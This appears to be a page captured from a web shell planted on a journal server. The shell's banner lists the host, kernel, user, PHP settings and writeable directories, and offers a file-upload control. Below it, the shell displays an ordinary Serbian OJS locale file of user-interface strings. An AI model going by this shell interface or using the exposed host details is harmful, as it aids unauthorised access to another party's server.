KUNTUL | JINGKONTOT
JINGKONTOT


Server : Apache/2.4.41 (Ubuntu)
System : Linux journalup 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/lib/pkp/locale/sr_RS@latin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/lib/pkp/locale/sr_RS@latin/user.po
msgid ""
msgstr ""
"Project-Id-Version: \n"
"Report-Msgid-Bugs-To: \n"
"Last-Translator: \n"
"Language-Team: \n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"POT-Creation-Date: 2019-11-19T10:50:05+00:00\n"
"PO-Revision-Date: 2019-11-19T10:50:05+00:00\n"
"Language: \n"

msgid "user.affiliation"
msgstr "Afilijacija"

msgid "user.affiliation.description"
msgstr "(Vaša institucija, npr. \"Filozofski fakultet u Novom Sadu\")"

msgid "user.affiliations"
msgstr "Afilijacije"

msgid "user.authorization.accessDenied"
msgstr "Pristup odbijen."

msgid "user.authorization.loginRequired"
msgstr "Neophodna je prijava."

msgid "user.authorization.privateOperation"
msgstr "Operacija kojoj ste hteli pristupiti je privatna ili ne postoji."

msgid "user.authorization.restrictedSiteAccess"
msgstr "Nije vam dozvoljen pristup. Pristup sajtu je trenutno ograničen"

msgid "user.authorization.roleBasedAccessDenied"
msgstr "Trenutna uloga nema pristup ovoj operaciji."

msgid "user.biography"
msgstr "Biografska izjava (npr. odsek, zvanje)"

msgid "user.changeMyPassword"
msgstr "Promeni moju lozinku"

msgid "user.changePassword"
msgstr "Promeni lozinku"

msgid "user.dateLastLogin"
msgstr "Poslednji pristup"

msgid "user.dateRegistered"
msgstr "Datum registracije"

msgid "user.editMyProfile"
msgstr "Uredi moj profil"

msgid "user.email"
msgstr "Imejl"

msgid "user.interests"
msgstr "Recenzentski interesi"

msgid "user.interests.description"
msgstr "(odvojite interese pritiskom na enter ili zarezom)"

msgid "user.gossip"
msgstr "Privatne napomene"

msgid "user.profile.form.profileImageInvalid"
msgstr "Neispravan format slike ili je slika prevelika. Dozvoljeni formati su .gif, .jpg, ili .png, a veličina ne sme prelaziti 150x150 piksela."

msgid "user.login.accountDisabledWithReason"
msgstr "Vaš nalog je blokiran iz sledećih razloga: {$reason}"

msgid "user.login.accountDisabled"
msgstr "Vaš nalog je blokiran. Kontaktirajte administratora za više informacija."

msgid "user.login.activate"
msgstr "Aktiviraj nalog"

msgid "user.login.forgotPassword"
msgstr "Zaboravili ste lozinku?"

msgid "user.login.loginError"
msgstr "Neispravno korisničko ime ili lozinka. Pokušajte ponovo."

msgid "user.login"
msgstr "Prijavi se"

msgid "user.login.lostPassword.invalidUser"
msgstr "Ne postoji korisnik sa datom adresom."

msgid "user.login.lostPassword.passwordSent"
msgstr "Nova lozinka je poslata na vašu adresu. Možete se prijaviti u sajt sa vašom novom lozinkom."

msgid "user.login.registeredEmail"
msgstr "Imejl adresa registrovanog korisnika"

msgid "user.login.rememberUsernameAndPassword"
msgstr "Zapamti moje korisničko ime i lozinku"

msgid "user.login.resetPassword"
msgstr "Promeni lozinku"

msgid "user.logOut"
msgstr "Odjavi se"

msgid "user.mailingAddress"
msgstr "Poštanska adresa"

msgid "user.myAccount"
msgstr "Moj nalog"

msgid "user.name"
msgstr "Ime"

msgid "user.password"
msgstr "Lozinka"

msgid "user.repeatPassword"
msgstr "Ponovi lozinku"

msgid "user.phone"
msgstr "Telefon"

msgid "user.profile.changePasswordInstructions"
msgstr "Unesite postojeću i novu lozinku kako bi promenili lozinku za vaš nalog."

msgid "user.profile.editProfile"
msgstr "Izmeni profil"

msgid "user.profile.form.emailRequired"
msgstr "Ispravna imejl adresa je neophodna."

msgid "user.profile.form.affiliationRequired"
msgstr "Afilijacija je neophodna."

msgid "user.profile.form.newPasswordRequired"
msgstr "Morate uneti novu lozinku."

msgid "user.profile.form.oldPasswordInvalid"
msgstr "Trenutna lozinka koju ste uneli je neispravna."

msgid "user.profile.form.openAccessNotifications"
msgstr "Obaveštenja o otvorenom pristupu brojevima"

msgid "user.profile.form.passwordRequired"
msgstr "Lozinka je neophodna."

msgid "user.profile.form.profileImage"
msgstr "Slika profila"

msgid "user.profile.form.publishedNotifications"
msgstr "Obaveštenja o novim brojevima"

msgid "user.profile.form.usernameRequired"
msgstr "Korisničko ime je neophodno."

msgid "user.profile.leavePasswordBlank"
msgstr "Ostavite polje sa lozinkom prazno kako bi zadržali staru lozinku."

msgid "user.profile.newPassword"
msgstr "Nova lozinka."

msgid "user.profile.oldPassword"
msgstr "Trenutna lozinka"

msgid "user.profile"
msgstr "Profil"

msgid "user.profile.publicProfile"
msgstr "Korisnički profil"

msgid "user.profile.repeatNewPassword"
msgstr "Ponovite novu lozinku"

msgid "user.register.form.emailExists"
msgstr "Odabranu adresu već koristi drugi korisnik."

msgid "user.register.form.passwordsDoNotMatch"
msgstr "Lozinke se ne poklapaju."

msgid "user.register.form.emailsDoNotMatch"
msgstr "Imejl adrese se ne poklapaju."

msgid "user.register.form.usernameExists"
msgstr "Odabrano korisničko ime je već u upotrebi."

msgid "user.register.registerAs"
msgstr "Registruj se u {$contextName} kao..."

msgid "user.register"
msgstr "Registruj se"

msgid "user.register.usernameRestriction"
msgstr "Korisničko ime može sadržati samo mala slova, brojeve, crtice (-) i podvlake(_)."

msgid "user.role.reader"
msgstr "Čitalac"

msgid "user.role.readers"
msgstr "Čitaoci"

msgid "user.role.reviewer"
msgstr "Recenzent"

msgid "user.role.reviewers"
msgstr "Recenzenti"

msgid "user.role.siteAdmin"
msgstr "Administrator sajta"

msgid "user.role.siteAdmins"
msgstr "Administratori sajta"

msgid "user.roles"
msgstr "Uloge"

msgid "user.sendPassword"
msgstr "Potvrda"

msgid "user.sendPassword.description"
msgstr "Pošalji mi poruku potvrde koji uključuje moje korisničko ime i lozinku."

msgid "user.signature"
msgstr "Potpis"

msgid "user.title"
msgstr "Zvanje"

msgid "user.url"
msgstr "URL"

msgid "user.userHome"
msgstr "Početna stranica korisnika"

msgid "user.username"
msgstr "Korisničko ime"

msgid "user.workingLanguages"
msgstr "Radni jezici"

msgid "user.accountInformation"
msgstr "Informacije o nalogu"

msgid "user.authorization.managerRequired"
msgstr "Korisnik sa ulogom Upravnika časopisa (npr. urednik časopisa ili produkcije) mora biti dodeljen u ovom momentu kako biste nastavili."

msgid "user.group"
msgstr "Grupa korisnika"

msgid "user.hello"
msgstr "Pozdrav"

msgid "user.profile.form.countryRequired"
msgstr "Zemlja je neophodna."

msgid "user.profile.form.mailingAddressRequired"
msgstr "Poštanska adresa je neophodna."

msgid "user.profile.form.passwordSameAsOld"
msgstr "Vaša nova lozinka je ista kao stara."

msgid "user.profile.form.usergroupRequired"
msgstr "Grupa korisnika je neophodna."

msgid "user.register.form.userGroupRequired"
msgstr "Barem jedna uloga mora biti označena"

msgid "user.register.form.passwordLengthRestriction"
msgstr "Lozinka mora imati najmanje {$length} karaktera"

msgid "user.register.registrationCompleted"
msgstr "Uspešno ste se registrovali. Kliknite <a href=\"{$profileUrl}\">ovde</a> da uredite vaš korisnički profil."

msgid "user.role.author"
msgstr "Autor"

msgid "user.role.author_s"
msgstr "Autor(i)"

msgid "user.role.authors"
msgstr "Autori"

msgid "user.role.editor"
msgstr "Urednik"

msgid "user.role.editors"
msgstr "Urednici"

msgid "user.role.copyeditor"
msgstr "Korektor"

msgid "user.role.copyeditors"
msgstr "Korektori"

msgid "user.role.proofreader"
msgstr "Lektor"

msgid "user.role.proofreaders"
msgstr "Lektori"

msgid "user.role.layoutEditor"
msgstr "Grafički urednik"

msgid "user.role.layoutEditors"
msgstr "Grafički urednici"

msgid "user.orcid"
msgstr "ORCID iD"

msgid "user.orcid.orcidInvalid"
msgstr "ORCID iD koji ste uneli nije ispravan. Uključite i ceo URI (npr. \"https://orcid.org/0000-0002-1825-0097\")."

msgid "user.profile.identity"
msgstr "Identitet"

msgid "user.profile.contact"
msgstr "Kontakt"

msgid "user.profile.public"
msgstr "Javno"

msgid "user.authorization.accessibleWorkflowStage"
msgstr "Nemate trenutno pristup ovoj fazi."

msgid "user.authorization.workflowStageRequired"
msgstr "Faza nije definisana."

msgid "user.authorization.pluginRequired"
msgstr "Dodatak nije definisan, a neophodan je."

msgid "user.login.registrationComplete"
msgstr "Registracija je završena"

msgid "user.login.registrationComplete.manageSubmissions"
msgstr "Pogledaj predaje"

msgid "user.login.registrationComplete.newSubmission"
msgstr "Napravi novu predaju"

msgid "user.login.registrationComplete.continueBrowsing"
msgstr "Nastavi sa pregledanjem"

msgid "user.login.registrationPendingValidation"
msgstr "Registracija čeka potvrdu"

msgid "user.logOutAs"
msgstr "Odjavi se kao"

msgid "user.login.registerNewAccount"
msgstr "Registracija"

msgid "user.register.form.usernameAlphaNumeric"
msgstr "Korisničko ime može sadržati samo alfanumeričke karaktere, podvlake i crtice, i mora početi i završiti sa alfanumeričkim karakterima."

msgid "user.login.resetPasswordInstructions"
msgstr "Unesite vašu imejl adresu i biće vam poslata poruka sa informacijama kako da obnovite vašu lozinku."

msgid "user.login.registrationComplete.instructions"
msgstr "Hvala vam na registraciji, šta biste želeli da uradite sledeće?"

msgid "user.authorization.processAuthenticationTokenRequired"
msgstr "Znak u procesu provere autentičnosti nedostaje ili je nevažeći."

msgid "user.authorization.contextRequired"
msgstr "Ne možete pozvati ovu operaciju izvan konteksta (izdanje, časopis, konferencija i sl.)"

msgid "user.authorization.userGroupRequired"
msgstr "Morate odrediti važeću grupu korisnika da pristupe ovoj operaciji."

msgid "user.login.accountNotValidated"
msgstr "Poslali smo vam poruku potvrde na vašu {$email}.  Molimo vas da sledite instrukcije u poruci kako bi aktivirali vaš nalog. Ako ne vidite poruku molimo vas da pogledte u spam deo da nije slučajno stavljena u spam poruke."

msgid "user.login.activated"
msgstr "Hvala što ste aktivirali vaš nalog. Možete se prijaviti u sistem koristeći podatke za prijavu koje ste prethodno definisali kad ste kreirali vaš nalog."

msgid "user.login.changePasswordInstructions"
msgstr "Morate odabrati novu lozinku pre nego se prijavite u sajt. <br /><br /> Molimo da unesete vaše korisničko ime i vašu sadašnju i novu lozinku kako bi izmenili lozinku vašeg naloga."

msgid "user.login.lostPassword.confirmationSent"
msgstr "Poslata je potvrda na vašu adresu. Sledite instrukcije u toj poruci da bi promenili lozinku."

msgid "user.login.lostPassword.invalidHash"
msgstr "Žao nam je, ali link koji ste pritisnuli je istekao ili je neispravan. Pokušajte ponovo da promenite lozinku."

msgid "user.profile.form.urlInvalid"
msgstr "Specificirani URL je neispravan. Dvokliknite na URL i pokušajte ponovo. ( Napomena: pokušajte da dodate http://  URL.)"

KUNTUL | JINGKONTOT |